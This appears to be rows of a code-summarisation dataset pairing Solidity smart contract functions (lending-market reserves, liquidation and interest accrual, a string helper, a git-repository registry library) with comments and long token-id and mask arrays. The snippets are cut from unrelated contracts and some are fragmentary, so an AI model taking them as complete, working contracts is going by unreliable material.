require(accrualBlockNumber == getBlockNumber(), "E7");
require(newReserveFactorMantissa <= reserveFactorMaxMantissa, "E44");
uint oldReserveFactorMantissa = reserveFactorMantissa;
reserveFactorMantissa = newReserveFactorMantissa;
emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
return uint(Error.NO_ERROR);
}
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) {
uint error = accrueInterest();
require(error == uint(Error.NO_ERROR), "E5");
return _setInterestRateModelFresh(newInterestRateModel);
}
function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) {
InterestRateModel oldInterestRateModel;
require(msg.sender == admin, "E1");
require(accrualBlockNumber == getBlockNumber(), "E7");
oldInterestRateModel = interestRateModel;
require(newInterestRateModel.isInterestRateModel(), "E45");
interestRateModel = newInterestRateModel;
return uint(Error.NO_ERROR);
}
function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
require(error == uint(Error.NO_ERROR), "E5");
(error, ) = _addReservesFresh(addAmount);
return error;
}
function _addReservesFresh(uint addAmount) internal returns (uint, uint) {
uint totalReservesNew;
uint actualAddAmount;
require(accrualBlockNumber == getBlockNumber(), "E7");
actualAddAmount = doTransferIn(msg.sender, addAmount);
totalReservesNew = totalReserves + actualAddAmount;
require(totalReservesNew >= totalReserves, "E46");
totalReserves = totalReservesNew;
emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew);
return (uint(Error.NO_ERROR), actualAddAmount);
}
function _reduceReserves(uint reduceAmount) external returns (uint) {
uint error = accrueInterest();
require(error == uint(Error.NO_ERROR), "E5");
return _reduceReservesFresh(reduceAmount);
}
function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {
uint totalReservesNew;
require(msg.sender == admin, "E1");
require(accrualBlockNumber == getBlockNumber(), "E7");
require(getCashPrior() >= reduceAmount, "E21");
require(reduceAmount <= totalReserves, "E47");
totalReservesNew = totalReserves - reduceAmount;
require(totalReservesNew <= totalReserves, "E48");
totalReserves = totalReservesNew;
// doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
uint actualReduceAmount = doTransferOut(admin, reduceAmount);
emit ReservesReduced(admin, actualReduceAmount, totalReservesNew);
return uint(Error.NO_ERROR);
}
function supplyRatePerBlock() external view returns (uint) {
return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);
}
function getCash() external view returns (uint) {
return getCashPrior();
}
function liquidateBorrowInternal(address borrower, uint repayAmount, DTokenInterface dTokenCollateral) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
require(error == uint(Error.NO_ERROR), "E5");
error = dTokenCollateral.accrueInterest();
require(error == uint(Error.NO_ERROR), "E5");
return liquidateBorrowFresh(msg.sender, borrower, repayAmount, dTokenCollateral);
}
function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, DTokenInterface dTokenCollateral) internal returns (uint, uint) {
uint allowed = controller.liquidateBorrowAllowed(address(this), address(dTokenCollateral), borrower, liquidator, repayAmount);
require(allowed == 0, "E49");
require(accrualBlockNumber == getBlockNumber(), "E7");
require(dTokenCollateral.accrualBlockNumber() == getBlockNumber(), "E7");
require(borrower != liquidator, "E50");
require(repayAmount != 0, "E51");
require(repayAmount != uint(-1), "E52");
(uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount);
require(repayBorrowError == uint(Error.NO_ERROR), "E53");
(uint amountSeizeError, uint seizeTokens) = controller.liquidateCalculateSeizeTokens(address(this), address(dTokenCollateral), actualRepayAmount);
require(amountSeizeError == uint(Error.NO_ERROR), "E54");
require(dTokenCollateral.balanceOf(borrower) >= seizeTokens, "E55");
{
uint seizeError;
if (address(dTokenCollateral) == address(this)) {
seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens);
} else {
seizeError = dTokenCollateral.seize(liquidator, borrower, seizeTokens);
}
require(seizeError == uint(Error.NO_ERROR), "E56");
}
emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(dTokenCollateral), seizeTokens);
return (uint(Error.NO_ERROR), actualRepayAmount);
}
function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0);
}
return repayBorrowFresh(msg.sender, borrower, repayAmount);
}
function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) {
return seizeInternal(msg.sender, liquidator, borrower, seizeTokens);
}
function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) {
uint allowed = controller.seizeAllowed(address(this), seizerToken, liquidator, borrower);
require(allowed == 0, "E57");
require(borrower != liquidator, "E50");
MathError mathErr;
uint borrowerTokensNew;
uint liquidatorTokensNew;
(mathErr, borrowerTokensNew) = subUInt(accountBalances[borrower], seizeTokens);
require(mathErr == MathError.NO_ERROR, "E58");
(mathErr, liquidatorTokensNew) = addUInt(accountBalances[liquidator], seizeTokens);
require(mathErr == MathError.NO_ERROR, "E59");
accountBalances[borrower] = borrowerTokensNew;
accountBalances[liquidator] = liquidatorTokensNew;
/*
currently unused
{
(, uint borrowBalance) = borrowBalanceStoredInternal(borrower);
if (accountBalances[borrower] == 0 && borrowBalance == 0) {
uint exited = controller.exitMarket(borrower);
require(exited == uint(Error.NO_ERROR), "E73");
}
}
*/
{
uint supplyPrincipalNew;
uint borrowerSupplyPrincipalNew;
uint exchangeRateMantissa;
uint currentBalanceOfUnderlying;
(mathErr, exchangeRateMantissa) = exchangeRateStoredInternal();
require(mathErr == MathError.NO_ERROR, "E35");
(mathErr, currentBalanceOfUnderlying) = mulScalarTruncate(Exp({mantissa: exchangeRateMantissa}), seizeTokens);
(mathErr, supplyPrincipalNew) = addUInt(supplyPrincipal[liquidator], currentBalanceOfUnderlying);
require(mathErr == MathError.NO_ERROR, "E16");
supplyPrincipal[liquidator] = supplyPrincipalNew;
(mathErr, borrowerSupplyPrincipalNew) = subUInt(supplyPrincipal[borrower], currentBalanceOfUnderlying);
require(mathErr == MathError.NO_ERROR, "E16");
supplyPrincipal[borrower] = borrowerSupplyPrincipalNew;
}
emit Transfer(borrower, liquidator, seizeTokens);
return uint(Error.NO_ERROR);
}
function accrueInterest() public returns (uint) {
uint currentBlockNumber = getBlockNumber();
uint accrualBlockNumberPrior = accrualBlockNumber;
if (accrualBlockNumberPrior == currentBlockNumber) {
return uint(Error.NO_ERROR);
}
uint cashPrior = getCashPrior();
uint borrowsPrior = totalBorrows;
uint reservesPrior = totalReserves;
uint borrowIndexPrior = borrowIndex;
uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);
require(borrowRateMantissa <= borrowRateMaxMantissa, "E60");
(MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior);
require(mathErr == MathError.NO_ERROR, "E61");
Exp memory simpleInterestFactor;
uint interestAccumulated;
uint totalBorrowsNew;
uint totalReservesNew;
uint borrowIndexNew;
(mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta);
require(mathErr == MathError.NO_ERROR, "E62");
(mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior);
require(mathErr == MathError.NO_ERROR, "E63");
(mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior);
require(mathErr == MathError.NO_ERROR, "E64");
(mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior);
require(mathErr == MathError.NO_ERROR, "E65");
(mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);
require(mathErr == MathError.NO_ERROR, "E66");
accrualBlockNumber = currentBlockNumber;
borrowIndex = borrowIndexNew;
totalBorrows = totalBorrowsNew;
totalReserves = totalReservesNew;
return uint(Error.NO_ERROR);
}
function setController(ControllerInterface newController) external returns (uint) {
require(msg.sender == admin, "E1");
controller = newController;
emit NewController(newController);
return uint(Error.NO_ERROR);
}
modifier nonReentrant() {
require(_notEntered, "E67");
_notEntered = false;
_;
_notEntered = true; // get a gas-refund post-Istanbul
}
function doTransferIn(address sender, uint amount) internal returns (uint);
function doTransferOut(address payable recipient, uint amount) internal returns (uint);
function getCashPrior() internal view returns (uint);
}
| doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. | function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {
uint totalReservesNew;
require(msg.sender == admin, "E1");
require(accrualBlockNumber == getBlockNumber(), "E7");
require(getCashPrior() >= reduceAmount, "E21");
require(reduceAmount <= totalReserves, "E47");
totalReservesNew = totalReserves - reduceAmount;
require(totalReservesNew <= totalReserves, "E48");
totalReserves = totalReservesNew;
uint actualReduceAmount = doTransferOut(admin, reduceAmount);
emit ReservesReduced(admin, actualReduceAmount, totalReservesNew);
return uint(Error.NO_ERROR);
}
| 12,905,761 | [
1,
2896,
5912,
1182,
15226,
87,
309,
6967,
13998,
7194,
16,
3241,
732,
848,
1404,
506,
3071,
309,
4889,
16605,
7841,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
12498,
607,
264,
3324,
42,
1955,
12,
11890,
5459,
6275,
13,
2713,
1135,
261,
11890,
13,
288,
203,
3639,
2254,
2078,
607,
264,
3324,
1908,
31,
203,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
3981,
16,
315,
41,
21,
8863,
203,
3639,
2583,
12,
8981,
86,
1462,
1768,
1854,
422,
11902,
1854,
9334,
315,
41,
27,
8863,
203,
203,
3639,
2583,
12,
588,
39,
961,
25355,
1435,
1545,
5459,
6275,
16,
315,
41,
5340,
8863,
203,
3639,
2583,
12,
12498,
6275,
1648,
2078,
607,
264,
3324,
16,
315,
41,
9462,
8863,
203,
203,
3639,
2078,
607,
264,
3324,
1908,
273,
2078,
607,
264,
3324,
300,
5459,
6275,
31,
203,
3639,
2583,
12,
4963,
607,
264,
3324,
1908,
1648,
2078,
607,
264,
3324,
16,
315,
41,
8875,
8863,
203,
203,
3639,
2078,
607,
264,
3324,
273,
2078,
607,
264,
3324,
1908,
31,
203,
203,
3639,
2254,
3214,
12944,
6275,
273,
741,
5912,
1182,
12,
3666,
16,
5459,
6275,
1769,
203,
203,
3639,
3626,
1124,
264,
3324,
16911,
3263,
12,
3666,
16,
3214,
12944,
6275,
16,
2078,
607,
264,
3324,
1908,
1769,
203,
203,
3639,
327,
2254,
12,
668,
18,
3417,
67,
3589,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/80001/0xAF7c995D7aa624452FB127F530332ac6641e627B/sources/CollectionManager.sol | Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. | function issueToken(address _beneficiary, uint256 _itemId) external;
function setApproved(bool _value) external;
function initialize(
string memory _name,
string memory _symbol,
string memory _baseURI,
address _creator,
bool _shouldComplete,
bool _isApproved,
Item[] memory _items
) external;
function items(uint256 _itemId) external view returns (uint256, uint256, uint256, address, string memory, bytes32);
}
pragma solidity ^0.6.12;
}
pragma solidity 0.6.12;
{
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
sender = msg.sender;
}
return sender;
}
| 8,795,383 | [
1,
2563,
326,
3847,
1731,
2076,
628,
3778,
598,
326,
1758,
603,
326,
2612,
4200,
1731,
16,
471,
3066,
5348,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
5672,
1345,
12,
2867,
389,
70,
4009,
74,
14463,
814,
16,
2254,
5034,
389,
1726,
548,
13,
3903,
31,
203,
565,
445,
444,
31639,
12,
6430,
389,
1132,
13,
3903,
31,
203,
565,
445,
4046,
12,
203,
3639,
533,
3778,
389,
529,
16,
203,
3639,
533,
3778,
389,
7175,
16,
203,
3639,
533,
3778,
389,
1969,
3098,
16,
203,
3639,
1758,
389,
20394,
16,
203,
3639,
1426,
389,
13139,
6322,
16,
203,
3639,
1426,
389,
291,
31639,
16,
203,
3639,
4342,
8526,
3778,
389,
3319,
203,
565,
262,
3903,
31,
203,
565,
445,
1516,
12,
11890,
5034,
389,
1726,
548,
13,
3903,
1476,
1135,
261,
11890,
5034,
16,
2254,
5034,
16,
2254,
5034,
16,
1758,
16,
533,
3778,
16,
1731,
1578,
1769,
203,
97,
203,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
26,
18,
2138,
31,
203,
203,
203,
97,
203,
203,
203,
203,
683,
9454,
18035,
560,
374,
18,
26,
18,
2138,
31,
203,
203,
203,
565,
288,
203,
3639,
309,
261,
3576,
18,
15330,
422,
1758,
12,
2211,
3719,
288,
203,
5411,
1731,
3778,
526,
273,
1234,
18,
892,
31,
203,
5411,
2254,
5034,
770,
273,
1234,
18,
892,
18,
2469,
31,
203,
5411,
19931,
288,
203,
7734,
5793,
519,
471,
12,
203,
10792,
312,
945,
12,
1289,
12,
1126,
16,
770,
13,
3631,
203,
10792,
374,
5297,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
18217,
203,
7734,
262,
203,
5411,
289,
203,
5411,
5793,
273,
1234,
18,
15330,
31,
203,
3639,
289,
203,
3639,
327,
2
]
|
./partial_match/1/0x21aE0bc1Ba69e26eA1BE4bc3213A965Dc0A6CB05/sources/Pod.sol | * @dev Converts a `uint256` to its ASCII `string` decimal representation./ Inspired by OraclizeAPI's implementation - MIT licence https:github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol | function owner() public view virtual returns (address);
}
pragma solidity ^0.8.13;
}
pragma solidity ^0.8.0;
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
| 9,322,635 | [
1,
5692,
279,
1375,
11890,
5034,
68,
358,
2097,
11768,
1375,
1080,
68,
6970,
4335,
18,
19,
657,
1752,
2921,
635,
531,
354,
830,
554,
2557,
1807,
4471,
300,
490,
1285,
328,
335,
802,
2333,
30,
6662,
18,
832,
19,
280,
10150,
554,
19,
546,
822,
379,
17,
2425,
19,
10721,
19,
70,
9452,
27879,
70,
20,
4449,
71,
27,
72,
26,
1340,
3437,
8204,
5193,
26,
71,
30234,
3247,
26,
4366,
29,
73,
11180,
4848,
73,
28,
19,
280,
10150,
554,
2557,
67,
20,
18,
24,
18,
2947,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
3410,
1435,
1071,
1476,
5024,
1135,
261,
2867,
1769,
203,
97,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
3437,
31,
203,
203,
203,
203,
97,
203,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
203,
565,
445,
1762,
12,
11890,
5034,
460,
13,
2713,
16618,
1135,
261,
1080,
3778,
13,
288,
203,
203,
3639,
309,
261,
1132,
422,
374,
13,
288,
203,
5411,
327,
315,
20,
14432,
203,
3639,
289,
203,
3639,
2254,
5034,
1906,
273,
460,
31,
203,
3639,
2254,
5034,
6815,
31,
203,
3639,
1323,
261,
5814,
480,
374,
13,
288,
203,
5411,
6815,
9904,
31,
203,
5411,
1906,
9531,
1728,
31,
203,
3639,
289,
203,
3639,
1731,
3778,
1613,
273,
394,
1731,
12,
16649,
1769,
203,
3639,
1323,
261,
1132,
480,
374,
13,
288,
203,
5411,
6815,
3947,
404,
31,
203,
5411,
1613,
63,
16649,
65,
273,
1731,
21,
12,
11890,
28,
12,
8875,
397,
2254,
5034,
12,
1132,
738,
1728,
3719,
1769,
203,
5411,
460,
9531,
1728,
31,
203,
3639,
289,
203,
3639,
327,
533,
12,
4106,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "../GitRepository.sol";
import "../facets/GitRepositoryManagement.sol";
library LibGitFactory {
struct Repository {
bool isActive;
string name;
GitRepository location;
}
struct ActiveRepo {
bool isActive;
uint256 index;
}
struct Repositories {
// mapps from a bytes32 to a repository contract
// The bytes32 key is the hash over the owner's address and
// the repository name
mapping(bytes32 => Repository) repositoryList;
// all address that own a repository with that name are in that array
// if a user types in a repository name, we are able to show all the
// users owning a repository with that name
mapping(string => address[]) reposUserList;
// mapping of user address to array of repository names
// with this, we are able to type in a users address and list all his repositories
mapping(address => string[]) usersRepoList;
// array with repository names
// possible use: array = [testRepo, testCcde, awesomeCode]
// if a user types in test, we are able to show all repository names
// starting with test
string[] repositoryNames;
// mapping from repository name to bool
// if a repositry is created and that name has not been used yet,
// the value is set to true and the name is added to repositoryNames
// If a repository is created and the bollean is true, we don't
// have to add it to the repositoryNames array
mapping(string => ActiveRepo) activeRepository;
}
/**
* This function is used to create a new repository. By providing a name, a new
* GitRepository smart contract is deployed.
*
* @param self (Repositories) - The struct which contains all repository related inforation
* @param key (bytes32) - Hash of user address and repository name
* @param repoName (string) - The name of the new repository
* @param newGitRepo (GitRepository) - Address of the newly deployed GitRepostory
* @param owner (address) - Address of the owner of the new GitRepository
*/
function addRepository(
Repositories storage self,
bytes32 key,
string memory repoName,
GitRepository newGitRepo,
address owner
) internal {
self.repositoryList[key] = Repository({
isActive: true,
name: repoName,
location: newGitRepo
});
// add the repositie's owner to the array
self.reposUserList[repoName].push(owner);
// and the repository name to the owner's array
self.usersRepoList[owner].push(repoName);
if (!self.activeRepository[repoName].isActive) {
self.activeRepository[repoName].isActive = true;
self.activeRepository[repoName].index = self.repositoryNames.length;
self.repositoryNames.push(repoName);
}
}
/**
* Used to remove a repository from the internal 'database'. It takes the owner of the repository, the repository name,
* the userIndex (describes at what position the owner's address is written in the reposUserList array) and the
* repoIndex (describes at what position the repositories name is written in the usersRepoList array). It removes
* the values from the arrays and reorganizes them.
*
* This function should be called only by GitRepository contracts.
*
* @param self (Repositories) - The struct which contains all repository related inforation
* @param owner (address) - Owner of the repository to be removed
* @param repoName (string) - The name of the repository to be removed
* @param userIndex (uint256) - The position the of the repositories owner in the reposUserList
* @param repoName (uint256) - The position of the repositories name in the usersRepoList
*/
function removeRepository(
Repositories storage self,
address owner,
string memory repoName,
uint256 userIndex,
uint256 repoIndex
) internal {
bytes32 key = getUserRepoNameHash(owner, repoName);
// check if the key has already an active repository
require(self.repositoryList[key].isActive, "Repository doesn't exist");
GitRepositoryManagement repoToDelete = GitRepositoryManagement(address(self.repositoryList[key].location));
uint _userIndex;
uint _repoIndex;
(, , , _userIndex, _repoIndex) = repoToDelete.getRepositoryInfo();
require(userIndex == _userIndex, "User Index value is not correct");
require(repoIndex == _repoIndex, "Repo Index value is not correct");
uint256 reposUserListLenght = self.reposUserList[repoName].length;
if ((userIndex + 1) == reposUserListLenght) {
// if the owner's address is at the end of the array, we just pop the value
self.reposUserList[repoName].pop();
} else {
// otherwise we remove it and move the last entry to that location.
delete self.reposUserList[repoName][userIndex];
// address of the owner of the moving contract
address lastEntry = self.reposUserList[repoName][reposUserListLenght - 1];
self.reposUserList[repoName].pop();
self.reposUserList[repoName][userIndex] = lastEntry;
// We also have to update the underlying repository value get the key for the moved repository
bytes32 key2 = getUserRepoNameHash(lastEntry, repoName);
// we require here the GitRepositoryManagement contract with the address of the GitRepository in order
// to call the updateUserIndex function throught GitRepositry's fallback function
GitRepositoryManagement movedGitRepo = GitRepositoryManagement(address(self.repositoryList[key2].location));
// and update the user index
movedGitRepo.updateUserIndex(userIndex);
}
uint256 usersRepoListLength = self.usersRepoList[owner].length;
if ((repoIndex + 1) == usersRepoListLength) {
self.usersRepoList[owner].pop();
} else {
// otherwise we remove it and move the last entry to that location.
delete self.usersRepoList[owner][repoIndex];
string memory lastEntry = self.usersRepoList[owner][usersRepoListLength - 1];
self.usersRepoList[owner].pop();
self.usersRepoList[owner][repoIndex] = lastEntry;
// We also have to update the underlying repository value get the key for the moved repository
bytes32 key2 = getUserRepoNameHash(owner, lastEntry);
// we require here the GitRepositoryManagement contract with the address of the GitRepository in order
// to call the updateRepoIndex function throught GitRepositry's fallback function
GitRepositoryManagement movedGitRepo = GitRepositoryManagement(address(self.repositoryList[key2].location));
// and update the user index
movedGitRepo.updateRepoIndex(repoIndex);
}
// in case there are no more users having a repositry with this name, we set the name to false
if (self.reposUserList[repoName].length == 0) {
self.activeRepository[repoName].isActive = false;
uint256 index = self.activeRepository[repoName].index;
if (index != self.repositoryNames.length - 1) {
delete self.repositoryNames[index];
string memory name = self.repositoryNames[self.repositoryNames.length - 1];
self.repositoryNames[index] = name;
self.activeRepository[name].index = index;
}
self.repositoryNames.pop();
}
// we still need to deactive the repo and update the entries for the moved repo
self.repositoryList[key].isActive = false;
}
/**
* Returns the keccak256 hash generated over a user's address and a repository name.
*
* @param _owner (address) - The address of a repository owner
* @param _repoName (string) - The name of a repository
*
* @return (bytes32) - The keccak256(_owner, _repoName) hash
*/
function getUserRepoNameHash(address _owner, string memory _repoName) pure internal returns (bytes32) {
return keccak256(abi.encode(_owner, _repoName));
}
function getRepository(Repositories storage self, bytes32 location) view internal returns (Repository memory) {
return self.repositoryList[location];
}
/**
* Returns all user addresses owning a repository by the given name.
*
* @param _repoName (string) - Repository name
*
* @return (address[]) - An array containing all owner addresses having a repository with the given name
*/
function getRepositoriesUserList(Repositories storage self, string memory _repoName) view internal returns (address[] memory) {
return self.reposUserList[_repoName];
}
} | * Returns the keccak256 hash generated over a user's address and a repository name. @param _owner (address) - The address of a repository owner @param _repoName (string) - The name of a repository @return (bytes32) - The keccak256(_owner, _repoName) hash/ | function getUserRepoNameHash(address _owner, string memory _repoName) pure internal returns (bytes32) {
return keccak256(abi.encode(_owner, _repoName));
}
| 12,763,610 | [
1,
1356,
326,
417,
24410,
581,
5034,
1651,
4374,
1879,
279,
729,
1807,
1758,
471,
279,
3352,
508,
18,
225,
389,
8443,
261,
2867,
13,
300,
1021,
1758,
434,
279,
3352,
3410,
225,
389,
7422,
461,
261,
1080,
13,
300,
1021,
508,
434,
279,
3352,
327,
261,
3890,
1578,
13,
300,
1021,
417,
24410,
581,
5034,
24899,
8443,
16,
389,
7422,
461,
13,
1651,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4735,
8791,
461,
2310,
12,
2867,
389,
8443,
16,
533,
3778,
389,
7422,
461,
13,
16618,
2713,
1135,
261,
3890,
1578,
13,
288,
203,
3639,
327,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
24899,
8443,
16,
389,
7422,
461,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
